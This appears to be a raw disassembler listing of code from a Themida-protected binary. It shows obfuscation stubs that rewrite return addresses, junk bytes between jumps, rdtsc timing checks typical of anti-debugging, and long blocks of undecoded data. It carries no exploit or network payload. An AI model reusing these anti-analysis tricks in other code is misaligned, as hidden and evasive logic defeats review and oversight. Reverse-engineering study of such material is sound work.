jmp loc_5C7589
; ---------------------------------------------------------------------------
dw 0EB74h
dd 0D19DE545h, 26BEFFFEh, 6153CD9Ah
db 20h
; ---------------------------------------------------------------------------
loc_5C7589: ; CODE XREF: Themida_:005C7575j
lea ecx, [ebp+616A36Ah]
and ebx, [ebp+6130F51h]
and edi, [ebp+61313ADh]
call ecx
push 0
push edi
call sub_5C75A8
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C75A8 proc near ; CODE XREF: Themida_:005C75A0p
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 1Bh
inc edi
push edi
retn
sub_5C75A8 endp
; ---------------------------------------------------------------------------
push 3B60D229h
sub eax, 0BD8BC3ACh
or [esi], ebx
adc eax, [esi]
pusha
sub [ebp+6131621h], ebx
popa
cmp dword ptr [ebp+613173Dh], 1
jnz loc_5C7695
push 0
push eax
call sub_5C75E6
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C75E6 proc near ; CODE XREF: Themida_:005C75DEp
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 14h
inc eax
push eax
retn
sub_5C75E6 endp
; ---------------------------------------------------------------------------
xor esp, [esi-7Fh]
div dword ptr [ebx-2Bh]
push 2
jb loc_5C760A
mov ebx, [ebp+6131301h]
loc_5C760A: ; CODE XREF: Themida_:005C75FEj
nop
push eax
push eax
push edx
push eax
push edx
jmp loc_5C761C
; ---------------------------------------------------------------------------
db 97h, 7Ah, 0D0h
dd 91A9760Ch
; ---------------------------------------------------------------------------
loc_5C761C: ; CODE XREF: Themida_:005C7610j
rdtsc
jmp loc_5C762B
; ---------------------------------------------------------------------------
dec eax
cmp esi, [ebp+58h]
retn
; ---------------------------------------------------------------------------
db 89h, 0F0h, 70h
; ---------------------------------------------------------------------------
loc_5C762B: ; CODE XREF: Themida_:005C761Ej
pop edx
pop eax
rdtsc
push esi
pusha
popa
pop edi
pop edx
pop eax
nop
push 0
push esi
call sub_5C7641
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C7641 proc near ; CODE XREF: Themida_:005C7639p
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 1Dh
inc esi
push esi
retn
sub_5C7641 endp
; ---------------------------------------------------------------------------
align 2
mov eax, 783C3737h
lodsb
pop esp
xchg eax, ebx
lahf
mov ebx, [ebp+6131F09h]
mov [ebp+6131931h], esi
call dword ptr [ebp+6131E95h]
push 0
push edx
call sub_5C7678
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C7678 proc near ; CODE XREF: Themida_:005C7670p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 1Ah
inc edx
push edx
retn
sub_5C7678 endp
; ---------------------------------------------------------------------------
adc eax, 30BD330h
test cl, al
mov ebx, [ebp+6132079h]
loc_5C7695: ; CODE XREF: Themida_:005C75D5j
jmp loc_5C84BD
; ---------------------------------------------------------------------------
call $+5
pop ebp
sub ebp, 617B3D5h
jbe loc_5C76B7
pusha
jg $+6
mov di, cx
popa
loc_5C76B7: ; CODE XREF: Themida_:005C76A6j
mov [ebp+6131969h], ebx
lea eax, [ebp+6168F5Eh]
push 0
push esi
call sub_5C76CE
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C76CE proc near ; CODE XREF: Themida_:005C76C6p
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 18h
inc esi
push esi
retn
sub_5C76CE endp
; ---------------------------------------------------------------------------
dw 0CB14h
dd 901F1EE8h, 9050D88Bh, 1AD8D89h, 0FF640613h, 35h, 51006A00h
dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1604h, 0C3514100h
dd 64B0C5AAh, 2589h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 170424h, 55450000h, 0A7ED92C3h, 0FFD88B09h
dd 1316D985h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
dd 1504h, 0C3514100h, 0FF6A1A36h, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 17h, 3EC35040h, 0E9BB20E3h, 0Eh
dd 4417E383h, 2857BF55h, 68D09620h, 0B5FF96DAh, 6131B65h
dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ah, 0A2C35040h
dd 0F4757FF2h, 95FF0B9Fh, 61331ADh, 115E9h, 8900B000h
dd 130D159Dh, 8B70E606h, 0E871E4FEh, 10h, 4D45C334h, 0A0D01E93h
dd 705426B0h, 0EF876723h, 613C5FF9h, 0E8830Fh, 81660000h
dd 0F1F49C7h, 8166C8B6h, 0BAA204DFh, 6, 8BFFB70Fh, 4E8C1C1h
dd 188B0Fh, 0CE80000h, 20000000h, 0E68748BFh, 0D7450D1Eh
dd 8B49183Ch, 132C119Dh, 0F7665F06h, 19BD8BE2h, 29061311h
dd 1301C185h, 8BC82B06h, 130BE1BDh, 8BD18B06h, 1321C99Dh
dd 26E78106h, 0E969DA6Ah, 6, 0E799531h, 858B0613h, 6132499h
dd 0F07C083h, 178Ah, 12E900h, 0B72F0000h, 945B8DF5h, 0E8E277CEh
dd 379CACFh, 0AC0A2EB2h, 8900C083h, 1331E98Dh, 0FD03B06h
dd 1183h, 99BD8B00h, 0E9061308h, 3Eh, 21A18D89h, 8D8B0613h
dd 61305F9h, 19618D89h, 0E1830613h, 23840F01h, 9000000h
dd 130E45BDh, 0F9A58306h, 0FE061305h, 2F999D8Bh, 95890613h
dd 6132499h, 0EB80FA8Bh, 0E9F4h, 0B58D0000h, 6172722h
dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 5EC35343h
dd 0F98B6609h, 0BEEF8166h, 0DEBF662Ch, 66006A46h, 0FF8098BBh
dd 130DA995h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
dd 1404h, 0C3514100h, 0B9F98BC1h, 808h, 0E857006Ah, 3
dd 5FC35F20h, 4247C89h, 4244481h, 18h, 0F7C35747h, 0F5D10209h
dd 880Fh, 0E1830000h, 9BD8BFCh, 0FC06130Fh, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 16h, 0D2C35242h, 9D8BA595h
dd 6131549h, 0B8h, 50006A00h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1D04h, 0C3504000h, 26A0F657h, 75B464C4h
dd 860F459Bh, 0
; ---------------------------------------------------------------------------
jbe loc_5C79C8
mov [ebp+613296Dh], esi
loc_5C79C8: ; CODE XREF: Themida_:005C79BCj
and di, 0C5Fh
loc_5C79CD: ; CODE XREF: Themida_:005C7A42j
mov edx, 0
push 0
push ebx
call sub_5C79DD
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C79DD proc near ; CODE XREF: Themida_:005C79D5p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 15h
inc ebx
push ebx
retn
sub_5C79DD endp
; ---------------------------------------------------------------------------
mov dh, 15h
or [ebp+61324CDh], edx
loc_5C79F5: ; CODE XREF: Themida_:005C79FFj
lodsd
xor eax, edx
shr eax, 1
add edx, eax
sub ecx, 4
jnz short loc_5C79F5
push 0
push eax
call sub_5C7A0C
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C7A0C proc near ; CODE XREF: Themida_:005C7A04p
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 1Ah
inc eax
push eax
retn
sub_5C7A0C endp
; ---------------------------------------------------------------------------
xchg eax, ebp
and [ecx+21h], ebp
cmc
push edi
pop esi
push 0
push ecx
call sub_5C7A2E
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C7A2E proc near ; CODE XREF: Themida_:005C7A26p
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 18h
inc ecx
push ecx
retn
sub_5C7A2E endp
; ---------------------------------------------------------------------------
dw 0F664h
; ---------------------------------------------------------------------------
xchg esi, esp
loope loc_5C79CD
mov ch, 3Dh
sbb dl, [ebx]
push es
mov edi, ebx
sbb edi, 5B565660h
or eax, 88h
push 0
push ebp
call sub_5C7A61
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C7A61 proc near ; CODE XREF: Themida_:005C7A59p
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 15h
inc ebp
push ebp
retn
sub_5C7A61 endp
; ---------------------------------------------------------------------------
lodsb
jmp loc_5C8F5F
; ---------------------------------------------------------------------------
align 4
dd 0E5D74489h, 19B88E57h, 85671DBh, 0D882984Dh, 0EECB6229h
dd 3F82F781h, 505F545Ch, 5FFAB70Fh, 1BBD958Bh, 6A0613h
dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h, 53430000h
dd 0F4648C3h, 8E9h, 0F7FB0C00h, 0C87D4656h, 0DD8D8BE4h
dd 6A061318h, 3E85200h, 20000000h, 895AC35Ah, 81042454h
dd 14042444h, 42000000h, 94FC352h, 1321298Dh, 6E806h, 26460000h
dd 0F065D112h, 0F03CAEBBh, 8B505F4Dh, 3188BC2h, 8B188BC1h
dd 3E8D1C1h, 58188BC2h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
dd 4244481h, 1Dh, 29C35747h, 6FA8AA41h, 80E8CDA1h, 12E9ADh
dd 525C0000h, 0ADAC3727h, 456FAC79h, 0B8641871h, 0EBA35E1Fh
dd 0BE9h, 8FF3800h, 0E20D3D2Ch, 0BC2AA296h, 1D1DBD83h
dd 0F000613h, 2484h, 5DBD2900h, 106130Eh, 13163995h, 0B806h
dd 0BD8B0000h, 613351Dh, 4F8D8D8Dh, 0E1FF0613h, 0F88B6652h
dd 55BD835Fh, 61330h, 3A0840Fh, 0BD8B0000h, 6132C85h, 2321B531h
dd 0BD830613h, 6133055h, 0A2840F01h, 29000003h, 130E49BDh
dd 0BD83F506h, 6133055h, 58860F03h, 1000003h, 13140585h
dd 60606006h, 80CB8B66h, 6661E8ECh, 619C54BFh, 5E9h, 0CCA4F300h
dd 8C663A5Fh, 56006AD9h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
dd 1B04h, 0C3564600h, 30630476h, 3D341D71h, 19A9BD29h
dd 0F98B0613h, 6A04E180h, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 16042444h, 42000000h, 0B170C352h, 6880FA6h
dd 8B000000h, 1315299Dh, 0FC90A06h, 0DF84h, 56006A00h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1604h, 0C3564600h
dd 8BB537F6h, 132BB985h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1504h, 0C3564600h, 33F96E99h, 1305B985h
dd 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1604h
dd 0C3554500h, 90C5035Ah, 87BB5250h, 0F6D23C9h, 0DF8B6631h
dd 9050585Ah, 6AFDF380h, 19958900h, 80061319h, 5D685DEBh
dd 66A75E06h, 481DF8Bh, 0C0FDA224h, 3D95FF58h, 6A06130Ah
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 19042444h
dd 43000000h, 0D25CC353h, 4C109415h, 8E9h, 1492D200h, 29AB0F55h
dd 0D8B70F23h, 0C4548589h, 81660616h, 0E928CBCBh, 1BBh
dd 0BAD4BB66h, 0C44C858Bh, 9D890616h, 6131E41h, 1800C7h
dd 0BFBB0000h, 8B2B2EA1h, 16C450B5h, 0D9B70F06h, 2A55858Bh
dd 0B1BF0613h, 921149Dh, 1329DD9Dh, 6A068906h, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 14042444h, 46000000h
dd 892AC356h, 1323E9B5h, 0B9858B06h, 6A06132Bh, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 15042444h, 45000000h
dd 0C632C355h, 57044689h, 33A5BB66h, 0FCB7505Bh, 66243489h
dd 0BD8BDF8Bh, 6132C65h, 0C44CB5FFh, 6A0616h, 3E857h, 5F200000h
dd 7C895FC3h, 44810424h, 190424h, 57470000h, 0CC798DC3h
dd 0E8699FE2h, 4, 1F03FFh, 50FE8B66h, 8BFE8B66h, 66042444h
dd 8B2AC6BFh, 13E85600h, 8E000000h, 38E47611h, 0BE90ADADh
dd 0A55684B1h, 0AF316A98h, 5F508F88h, 44895F5Bh, 0DE90424h
dd 15000000h, 57B3C8F2h, 3AF5D2FCh, 89DCD85Fh, 51006A58h
dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1A04h, 0C3514100h
dd 0A412AB42h, 0E9BE148Dh, 11h, 0D1A18BC2h, 0E6F0EF1Ah
dd 6A7D421h, 0F9C25AD5h, 4D9D2384h, 8D061316h, 16C45485h
dd 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1B04h
dd 0C3504000h, 0FEC251DBh, 86D6B6EAh, 22558589h, 66900613h
dd 6050DE8Bh, 8E4E21BEh, 6A906107h, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 1C042444h, 41000000h, 0FB33C351h
dd 7E7C64CCh, 0FC7BE2Eh, 28Eh, 0FFFE8B00h, 130A3D95h, 79BD8B06h
dd 6106131Bh, 5585C7F5h, 3061330h, 31000000h, 131899BDh
dd 54BD8306h, 616C4h, 21840Fh, 0BF660000h, 33E9EFB3h, 60000000h
dd 1E71B589h, 8B660613h, 0E95661D9h, 6, 799B899Ch, 505B6252h
dd 110C30h, 0C1011144h, 443010E8h, 4C000211h, 83580311h
dd 0E77504E9h, 305036EBh, 64001104h, 0E8C10111h, 11443010h
dd 11640002h, 0E9835803h, 0EBE77504h, 0E8C1501Bh, 11642810h
dd 11443003h, 64285802h, 4300111h, 4E98311h, 0EBE775h
dd 8531C08Bh, 6131E99h, 31F19589h, 0BD830613h, 6133055h
dd 16850F03h, 6A000005h, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 1C042444h, 46000000h, 0E073C356h, 0B557A2A5h
dd 8BB031C5h, 13118D9Dh, 54BD8306h, 616C4h, 4DF840Fh, 6A0000h
dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h
dd 0FDC2F6C3h, 5C1114BEh, 0ADC781C6h, 0FF2E4A8Bh, 16C454B5h
dd 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1504h
dd 0C3574700h, 8E99E6Bh, 91000000h, 0C88FC553h, 0FFFEE006h
dd 13096995h, 11E906h, 346E0000h, 9976BCF4h, 0E16F68EBh
dd 0BC2E8C36h, 8B42BB70h, 16C448B5h, 51006A06h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1D04h, 0C3514100h, 0E3B3940Eh
dd 51E660C7h, 53BF3DA7h, 0C74FE331h, 1000106h, 51006A00h
dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1804h, 0C3514100h
dd 4B762E26h, 665096EDh, 5F70F2BFh, 0AE950h, 4E500000h
dd 1954B584h, 6875CBBFh, 50006A96h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1504h, 0C3504000h, 0BD039568h, 6131BF1h
dd 0C454B5FFh, 6A0616h, 3E850h, 58200000h, 448958C3h, 44810424h
dd 150424h, 50400000h, 8BA289C3h, 1313F5BDh, 2995FF06h
dd 6A061332h, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 1D042444h, 46000000h, 968AC356h, 532820BAh, 0ADCDA452h
dd 39896BBh, 48B58B50h, 8B0616C4h, 1328259Dh, 31858B06h
dd 9061306h, 1309158Dh, 0C4868906h, 6A000000h, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 16042444h, 41000000h
dd 0AEEAC351h, 57DA8AA1h, 10E8h, 0D22B8800h, 0FB1CBCFAh
dd 0FA312F67h, 2C75A799h, 5F616018h, 0BD958B5Bh, 0FC06131Bh
dd 6A04C283h, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 15042444h, 46000000h, 68DDC356h, 18ED9D01h, 50890613h
dd 56006A20h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1B04h
dd 0C3564600h, 0CD6D934Ah, 0BC68A25Ch, 6ADCBB66h, 63D5BB66h
dd 0D8E3858Dh, 6A0616h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 190424h, 53430000h, 0A9E7FEC3h, 0F2C3A90h, 68Bh, 518D2900h
dd 89061313h, 0B886h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1804h, 0C3564600h, 65AADC63h, 0D19D33DBh
dd 6A061325h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
dd 1604h, 0C3524200h, 668AFCEFh, 0FF8F81BBh, 16C454B5h
dd 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1D04h
dd 0C3574700h, 87A8323Bh, 0B91FB86h, 0B70F6279h, 0FF3FB3DBh
dd 131E9595h, 0ED8D8906h, 5006131Ah, 0A0BF6057h, 6035A5C2h
dd 895B6161h, 6A2434h, 3E850h, 58200000h, 448958C3h, 44810424h
dd 160424h, 50400000h, 12FE3AC3h, 2109BD8Bh, 0BF660613h
dd 0B5FFAEFEh, 616C454h, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 19h, 0FDC35646h, 0E07409B1h, 0F781665Ch, 0CF81BE0Ah
dd 3BD9A9FFh, 1E319D8Bh, 95FF0613h, 6132145h, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 0CEC35141h, 9E35F8F9h
dd 0B809610h, 0C684D781h, 0BD835786h, 6131495h, 4A840F00h
dd 8B000000h, 8B0F50FEh, 15h, 10E9h, 365EE800h, 3307D993h
dd 412BADB6h, 1EA4B554h, 24348963h, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 1Ch, 7C35646h, 7549A9DEh, 4B60021Eh
dd 459D27BBh, 54B5FF50h, 6A0616C4h, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 16042444h, 46000000h, 3D71C356h
dd 0AD95FF60h, 81061305h, 85F414C3h, 54B5FF03h, 6A0616C4h
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 15042444h
dd 47000000h, 7895C357h, 120995FFh, 85890613h, 6132A61h
dd 511BD83h, 0F020613h, 7C84h, 52006A00h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1404h, 0C3524200h, 8F0FE0h, 8B000000h
dd 130F5585h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
dd 1804h, 0C3514100h, 19BDEEE9h, 299D29F6h, 2906130Eh
dd 132431BDh, 0C606h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
dd 4244481h, 17h, 0F9C35343h, 81B86A19h, 0DF99F2E7h, 5185C74Eh
dd 6131Eh, 6A000000h, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 18042444h, 46000000h, 9463C356h, 89D6A176h, 131CD58Dh
dd 0F2B4E906h, 0AE9FFFFh, 0CC000000h, 0F2183FCEh, 4A50710Dh
dd 8AC18BF6h
db 0FEh
; ---------------------------------------------------------------------------
loc_5C84BD: ; CODE XREF: Themida_:loc_5C7695j
lea eax, [ebp+6131EA9h]
push 0
push edi
call sub_5C84CE
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C84CE proc near ; CODE XREF: Themida_:005C84C6p
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 1Dh
inc edi
push edi
retn
sub_5C84CE endp
; ---------------------------------------------------------------------------
push 0FFFFFFD4h
setalc
test bh, ch
rcl byte ptr [ebx], 6Dh
dec ebp
sub edx, [eax+5Bh]
push eax
mov [esp], eax
push 0
push 0
push ecx
call sub_5C84FB
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C84FB proc near ; CODE XREF: Themida_:005C84F3p
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 17h
inc ecx
push ecx
retn
sub_5C84FB endp
; ---------------------------------------------------------------------------
db 0CEh
; ---------------------------------------------------------------------------
mov esi, 6AE9E7h
push 0
push eax
call sub_5C851C
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C851C proc near ; CODE XREF: Themida_:005C8514p
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 15h
inc eax
push eax
retn
sub_5C851C endp
; ---------------------------------------------------------------------------
dd 0BD2394E7h, 6132405h, 0C419858Dh, 8B660617h, 5C083D8h
dd 30019D33h, 0BD0B0613h, 6131D75h, 0EAA4BB50h, 4893F03h
dd 0FDBD8B24h, 6A06132Fh, 619D8900h, 6A061305h, 56006A00h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1C04h, 0C3564600h
dd 681BD834h, 0FC6B2B7Fh, 0F195FF66h, 6A061307h, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 15042444h, 45000000h
dd 4A9FC355h, 0A36A8D8Dh, 6A0616h, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 170424h, 55450000h, 0F1CD20C3h, 9D2B53C2h
dd 613306Dh, 6E95Bh, 626B0000h, 87E1EE05h, 6AD1FFh, 3E852h
dd 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h
dd 1747AEC3h, 2CE024D8h, 5822E8BFh, 0B9F7816Bh, 832A996Ch
dd 13173DBDh, 850F0106h, 0C3h, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 14h, 61C35646h, 6A026Ah, 3E851h
dd 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h
dd 0D29258C3h, 0BD8BE4BBh, 61329E5h, 50BBB390h, 0DE8h
dd 511DFC00h, 74DF284Ch, 0E77AAC6Eh, 0CE867E5h, 0FD000000h
dd 3A03C121h, 0AF61685Dh, 0FBE9BF8h, 8Eh, 905B5B00h, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 27C35747h, 1157AEC8h
dd 35BD2BBDh, 0FF06130Bh, 131E9595h, 56006A06h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1704h, 0C3564600h, 0B5ADF0FCh
dd 0E9DFB70Fh, 0C02h, 0E8h, 0ED815D00h, 617C423h, 7C0CBF66h
dd 31199D31h, 858D0613h, 6168F5Eh, 323DBD8Bh, 89500613h
dd 0FF642404h, 35h, 0DE800h, 94B70000h, 17184A0Ah, 497BC23h
dd 5FB18B32h, 258964h, 6A000000h, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 17042444h, 46000000h, 1432C356h
dd 85FF64B5h, 61316D9h, 0D98B6652h, 0FFFF6A5Bh, 131139B5h
dd 6800F06h, 81000000h, 31EDC7F3h, 0AD95FF69h, 0E9061331h
dd 107h, 0B0DEB70Fh, 0D8BB6600h, 8170E6C4h, 0B3999BD3h
dd 8971E44Bh, 13177D95h, 0F613C06h, 0E683h, 70BF6600h
dd 0C8B60FC0h, 15218D89h, 6BA0613h, 0F000000h, 684h, 75BD8B00h
dd 8B06130Eh, 0DE9C1h, 0D7EC0000h, 49445B9Dh, 0BF5FF71Ah
dd 0C1123CF1h, 8B6604E8h, 0E2F766F8h, 0C1D78166h, 8AC82BFBh
dd 0E9D18BDAh, 5, 24E36291h, 91E9CDh, 8B660000h, 359D03FEh
dd 8B06131Fh, 885h, 50D78100h, 831668B2h, 9D8907C0h, 61305B1h
dd 8B00C083h, 131541BDh, 8DBD8B06h, 3B061312h, 13830FD0h
dd 81000000h, 3D0173C3h, 51E95Fh, 8B510000h, 130DD9BDh
dd 8D8B5B06h, 0FFFFFFFFh, 83F9B70Fh, 840F01E1h, 37h, 0FE9h
dd 1369B300h, 58361564h, 750DCE4Ah, 4DCE5FAh, 0FFFFA583h
dd 0F8FEFFFFh, 89589h, 0BE90000h, 4000000h, 0A2F76793h
dd 59E36D41h, 0E9D305h, 8D000000h, 174079B5h, 51006A06h
dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1D04h, 0C3514100h
dd 4D246358h, 558560FCh, 6AED16h, 24358589h, 95FF0613h
dd 6130DA9h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
dd 14h, 3EC35242h, 0D21B589h, 0C3B90613h, 5600000Fh, 5F8BD780h
dd 6AFCE183h, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 1B042444h, 46000000h, 5C90C356h, 5370A497h, 9D8BFBBAh
dd 6130D3Dh, 8D8B60FCh, 6131F6Dh, 0D036D181h, 0B8612F08h
dd 0
dd 12E851h, 0ED290000h, 3DBD6AECh, 917793D4h, 4055B70Fh
dd 821B3A29h, 1B59D89h, 5F5B0613h, 8A0FD22Bh, 6, 1D319D89h
dd 33AD0613h, 3E8D1C2h, 4E983D0h, 6AF475h, 3E855h, 5D200000h
dd 6C895DC3h, 44810424h, 170424h, 55450000h, 0AF816DC3h
dd 2DB7BF18h, 880D36FBh, 0BB000000h, 7DB4CAE6h, 1BBD958Bh
dd 9D230613h, 6130DBDh, 12399529h, 8D8B0613h, 61318DDh
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 0CFC35242h
dd 0C1E1A0E7h, 91D740C3h, 0C28B50EFh, 0C103188Bh, 0C18B188Bh
dd 0C203E8D1h, 6A58188Bh, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 15042444h, 40000000h, 0EBFFC350h, 3109BD89h
dd 6A0613h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h
dd 57470000h, 273911C3h, 684C1124h, 899D8BB6h, 83061305h
dd 131D1DBDh, 840F0006h, 62h, 0E8FE8B66h, 12h, 618B024Bh
dd 0A0F77568h, 760E8BD1h, 0A056996Bh, 0DF8BC6C6h, 0B85Fh
dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h
dd 55450000h, 9589B7C3h, 613350Dh, 4F8D8D8Dh, 9D330613h
dd 61321FDh, 9E8E1FFh, 0FD000000h, 1FB789D0h, 97299787h
dd 0BD835FF5h, 6133055h, 0D3840F00h, 0E8000003h, 0Dh, 0AB94660Bh
dd 78596C3Ch, 908F9DA3h, 0F9B70F20h, 55BD835Bh, 1061330h
dd 3CB840Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 180424h, 57470000h, 9F54E3C3h, 83F599ABh, 133055BDh
dd 860F0306h, 367h, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 1Ah, 1EC35646h, 0F4D1F33Bh, 3360DD5Bh, 133489BDh
dd 0D98C6606h, 0F099D8Bh, 0E1800613h, 259D8904h, 0A06130Dh
dd 9840FC9h, 0B7000001h, 0DB79BB45h, 858B3739h, 6132BB9h
dd 60D78166h, 0B9853388h, 6A061305h, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 1A042444h, 41000000h, 4624C351h
dd 541493A3h, 17CBBB9Eh, 66501CA1h, 489FB8Bh, 53006A24h
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1804h, 0C3534300h
dd 373901F1h, 6AD98BFEh, 7DBF6600h, 4E873h, 3FF0000h, 8B66001Fh
dd 0C3BF50DEh, 8B764109h, 8B042444h, 0A0D0BF00h, 448932C6h
dd 52500424h, 10E951h, 2E090000h, 575F5FD7h, 0B5C27EC8h
dd 285D7AC2h, 0F5B4006h, 58585A31h, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 1Ah, 55C35646h, 351CF66Bh, 6660C4AAh
dd 0B8476BAh, 13323DB5h, 95FF6106h, 6130A3Dh, 0C4548589h
dd 0BD8B0616h, 613352Dh, 1B9E9h, 0BE800h, 0C8CF0000h, 8E2FBEC6h
dd 113DE840h, 0ED9D8BCBh, 5B061305h, 0C44C858Bh, 0B70F0616h
dd 1800C7DEh, 8B000000h, 130B61BDh, 50B58B06h, 6A0616C4h
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1C042444h
dd 46000000h, 0CED9C356h, 4E366322h, 90DB892h, 13220D8Dh
dd 55858B06h, 8B06132Ah, 130C699Dh, 8B068906h, 0B9858BD8h
dd 8906132Bh, 6A0446h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 1A0424h, 53430000h, 0B75839C3h, 402F90A4h, 60525096h
dd 310F5250h, 0CE9585Ah, 41000000h, 815138C8h, 839B0BABh
dd 61FA0D45h, 4AB7310Fh, 9650585Ah, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 1Ah, 8DC35242h, 71BA815Eh, 8166A2E7h
dd 0FF72F6C3h, 16C44CB5h, 56006A06h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1704h, 0C3564600h, 3B687724h
dd 14158D89h, 1E680613h, 50DE79DCh, 0FDA8B52h, 8B0F31h
dd 5A000000h, 24048158h, 21A527E1h, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 15h, 96C35343h, 89BD3345h, 66061316h
dd 8DEFFBBFh, 16C45485h, 50006A06h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1C04h, 0C3504000h, 0CEA1FEBBh, 5D8F80FAh
dd 3DE7BF6Bh, 820F4277h, 0Ch, 7E9h, 1242AB00h, 4EDE12B5h
dd 148B0F90h, 0E9000000h, 0Fh, 0C53246D5h, 2708D48h, 48F4D072h
dd 50FBDCA2h, 95FFF590h, 6130A3Dh, 1071BD8Bh, 6A610613h
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 16042444h
